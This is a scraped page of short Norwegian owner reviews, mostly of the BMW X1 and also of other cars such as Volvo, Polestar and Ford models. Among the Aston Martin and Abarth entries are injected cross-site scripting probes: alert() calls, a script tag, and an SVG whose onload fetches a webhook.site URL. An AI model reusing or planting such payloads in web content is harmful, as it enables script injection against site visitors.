BMW X1 (2014)

BMW er kvalitet og kjører veldig bra. Oppleves meget "tight". Spesielt 3 serie og X1 er som en gocart å kjøre.

BMW X1 (2014)

Ein grei bil som me har hatt i 2 år s.g.s. problemfri. Veldig fint drivstofforbruk, sprek og fin å kjøra. Bilen vår er utan headup display, displayet på radioen og i speedometer er veldig kludre

BMW X1 (2014)

BMW. Gode på markedsføring. Dyr bil .

BMW X1 (2014)

Ingen problemer så langt

BMW X1 (2013)

Den beste bilen jeg har hatt, selv om jeg savner litt av komforten og doble dørlister i tidligere Lagunaer

BMW X1 (2012)

Absolutt ingenting å utsette! Genistrek fra BMW

BMW X1 (2012)

Veldig fornøyd

BMW X1 (2012)

Jeg har hatt egen bil siden 1975. Denne bilen kjøpte jeg brukt i 2015, og den er den beste jeg har hatt hittil. Jeg har skiftet bremseklosser og skiver foran, ellers kun service. Jeg skifter olje

BMW X1 (2012)

Min andre x1 og er veldig fornøyd,ingen problemer eller påkost annet en bremseklosser og vanling service,har nå kjørt ca 60.000 km med disse.

BMW X1 (2012)

Jeg er godt fornøyd med min BMW X1, som jeg kjøpte brukt for et snaut år siden. Den er god å kjøre og rommer mer enn forventet. Kvaliteten virker solid og det har ikke påløpt noen nevneverdige

BMW X1 (2012)

Gode kjøreegenskaper og klassisk BMW kvalitet.

BMW X1 (2012)

Jeg har hatt egen bil siden 1975. Volvo, Ford, Honda, VW, Mitsubishi og Mercedes. Dette er uten tvil den beste bilen jeg har hatt.

BMW X1 (2011)

God bil å kjøre, men selv etter pen konekjøring og alle service og rep på BMW merkeverksted en bil med mange dyre feil alt for tidlig. Burde ha solgt den før garantitiden på 5 år gikk ut.

BMW X1 (2011)

Min første og siste BMW. Ingenting ved denne bilen imponerer og alt i alt en skuffelse. Tungkjørt, sporer relativt mye, en god del støy og dyr å reparere. Det virker som det meste kan ryke etter 5

BMW X1 (2011)

En bil med 160.000km på telleren og fortsatt nybilfølelse igjen - en sjelden opplevelse. Lettholdt snerten liten bil, med helt OK plass. Den perfekte konebilen, med Xdrive som tar seg elegant frem p

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km